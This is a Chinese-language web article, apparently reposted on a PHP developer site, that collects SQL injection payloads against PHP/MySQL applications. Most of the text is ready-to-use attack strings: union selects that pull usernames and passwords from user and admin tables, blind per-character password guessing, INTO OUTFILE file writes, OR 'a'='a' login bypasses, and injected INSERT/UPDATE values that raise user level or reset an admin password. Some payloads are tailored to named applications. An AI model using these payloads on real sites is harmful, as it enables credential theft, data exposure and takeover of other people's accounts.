热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

高级php注入方法集锦

不论是黑友,还是程序员,都需要了解
不论是黑友,还是程序员,都需要了解

'%23  
' and passWord='mypass  
id=-1 union select 1,1,1  
id=-1 union select char(97),char(97),char(97)  
id=1 union select 1,1,1 from members  
id=1 union select 1,1,1 from admin  
id=1 union select 1,1,1 from user  
userid=1 and password=mypass  
userid=1 and mid(password,3,1)=char(112)  
userid=1 and mid(password,4,1)=char(97)  
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)  
' and LENGTH(password)='6(探测密码长度)  
' and LEFT(password,1)='m  
' and LEFT(password,2)='my  
…………………………依次类推  
' union select 1,username,password from user/*  
' union select 1,username,password from user/*  
=' union select 1,username,password from user/* (可以是1或者=后直接跟)  
99999' union select 1,username,password from user/*  
' into outfile 'c:/file.txt (导出文件)  
=' or 1=1 into outfile 'c:/file.txt  
1' union select 1,username,password from user into outfile 'c:/user.txt  
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'  
id=' union select 1,username,password from user into outfile  
id=-1 union select 1,database(),version() (灵活应用查询)

常用查询测试语句,

select * FROM table where 1=1  
select * FROM table where 'uuu'='uuu'  
select * FROM table where 1<>2  
select * FROM table where 3>2  
select * FROM table where 2<3  
select * FROM table where 1  
select * FROM table where 1+1  
select * FROM table where 1--1  
select * FROM table where ISNULL(NULL)  
select * FROM table where ISNULL(COT(0))  
select * FROM table where 1 IS NOT NULL  
select * FROM table where NULL IS NULL  
select * FROM table where 2 BETWEEN 1 AND 3  
select * FROM table where &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;  
select * FROM table where 2 IN (0,1,2)  
select * FROM table where CASE WHEN 1>0 THEN 1 END



例如:夜猫下载系统1.0版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1  
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and groupid=1  
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 (替换,寻找密码)  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)  
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
from ymdown_user where id=1 and ord(mid(password,3,1))=51  
…………………………………………………………

例如2:灰色轨迹 变换id进行测试(meteor)

union%20(select%20allowsmilies,public,userid,&#39;0000-0-0&#39;,user(),
version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate  
union%20(select%20allowsmilies,public,userid,&#39;0000-0-0&#39;,pass(),
version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句:

select allowsmilies,public,userid,eventdate,event,subject 
FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)  
select allowsmilies,public,userid,eventdate,event,subject 
FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)  
union%20(select%201,0,2,&#39;1999-01-01&#39;,&#39;a&#39;,password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate  
union%20(select%201,0,12695,&#39;1999-01-01&#39;,&#39;a&#39;,password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate  
union %20(select%201,0,12695,&#39;1999-01-01&#39;,&#39;a&#39;,userid%20FROM%20user%20where%20username =&#39;sandflee&#39;)%20order%20by%20eventdate (查沙子的id)  
(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)  
select * FROM article where articleid=&#39;$id&#39; union select * FROM……(字段和数据库相同情况下,可直接提交)  
select * FROM article where articleid=&#39;$id&#39; union select 1,1,1,1,1,1,1 FROM……(不同的情况下)



特殊技巧:在表单,搜索引擎等地方写:

"___"  
".__ "  
"%  
%&#39; ORDER BY articleid/*  
%&#39; ORDER BY articleid#  
__&#39; ORDER BY articleid/*  
__&#39; ORDER BY articleid#  
$command = "dir c:\";system($command);  
select * FROM article where articleid=&#39;$id&#39;  
select * FROM article where articleid=$id  
1&#39; and 1=2 union select * from user where userid=1/* 句中变为  
(select * FROM article where articleid=&#39;1&#39; and 1=2 union select * from user where userid=1/*&#39;)  
1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:

create DATABASE `injection`  
create TABLE `user` (  
`userid` int(11) NOT NULL auto_increment,  
`username` varchar(20) NOT NULL default &#39;&#39;,  
`password` varchar(20) NOT NULL default &#39;&#39;,  
PRIMARY KEY (`userid`)  
) ;  
insert INTO `user` VALUES (1, &#39;swap&#39;, &#39;mypass&#39;);

插如一个注册用户:

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (&#39;&#39;, &#39;$username&#39;, &#39;$password&#39;, &#39;$homepage&#39;, &#39;1&#39;);  
"insert INTO membres (login,password,nom,email,userlevel) VALUES (&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,&#39;1&#39;)";  
insert INTO membres (login,password,nom,email,userlevel) VALUES (&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;3&#39;)#&#39;,&#39;1&#39;)  
"insert INTO membres SET login=&#39;$login&#39;,password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39;";  
insert INTO membres SET login=&#39;&#39;,password=&#39;&#39;,nom=&#39;&#39;,userlevel=&#39;3&#39;,email=&#39;&#39;  
"insert INTO membres VALUES (&#39;$id&#39;,&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,&#39;1&#39;)";  
update user SET password=&#39;$password&#39;, homepage=&#39;$homepage&#39; where id=&#39;$id&#39;  
update user SET password=&#39;MD5(mypass)&#39; where username=&#39;admin&#39;#)&#39;, homepage=&#39;$homepage&#39; where id=&#39;$id&#39;  
"update membres SET password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39; where id=&#39;$id&#39;";  
update membres SET password=&#39;[PASS]&#39;,nom=&#39;&#39;,userlevel=&#39;3&#39;,email=&#39; &#39; where id=&#39;[ID]&#39;  
"update news SET Votes=Votes+1, score=score+$note where idnews=&#39;$id&#39;";

长用函数:

DATABASE()  
USER()  
SYSTEM_USER()  
SESSION_USER()  
CURRENT_USER()

比如:

update article SET title=$title where articleid=1 对应函数  
update article SET title=DATABASE() where id=1  
#把当前数据库名更新到title字段  
update article SET title=USER() where id=1  
#把当前 mysql 用户名更新到title字段  
update article SET title=SYSTEM_USER() where id=1  
#把当前 MySQL 用户名更新到title字段  
update article SET title=SESSION_USER() where id=1  
#把当前 MySQL 用户名更新到title字段  
update article SET title=CURRENT_USER() where id=1  
#把当前会话被验证匹配的用户名更新到title字段  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
$req = "select * FROM membres where name like &#39;%$search%&#39; ORDER BY name";  
select * FROM membres where name like &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name  
select * FROM membres where name like &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name  
select uid FROM admins where login=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; AND password=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; (经典)  
select uid FROM admins where login=&#39;&#39; OR admin_level=1#&#39; AND password=&#39;&#39;  
select * FROM table where msg like &#39;%hop&#39;  
select uid FROM membres where login=&#39;Bob&#39; AND password like &#39;a%&#39;#&#39; AND password=&#39;&#39;  
select * FROM membres where name like &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name

以上就是高级php注入方法集锦_php技巧的内容,更多相关内容请关注PHP中文网(www.php1.cn)!

推荐阅读
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • Android中高级面试必知必会,积累总结
    本文介绍了Android中高级面试的必知必会内容,并总结了相关经验。文章指出,如今的Android市场对开发人员的要求更高,需要更专业的人才。同时,文章还给出了针对Android岗位的职责和要求,并提供了简历突出的建议。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文介绍了在SpringBoot中集成thymeleaf前端模版的配置步骤,包括在application.properties配置文件中添加thymeleaf的配置信息,引入thymeleaf的jar包,以及创建PageController并添加index方法。 ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • 众筹商城与传统商城的区别及php众筹网站的程序源码
    本文介绍了众筹商城与传统商城的区别,包括所售产品和玩法不同以及运营方式不同。同时还提到了php众筹网站的程序源码和方维众筹的安装和环境问题。 ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
author-avatar
mobiledu2502917293
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有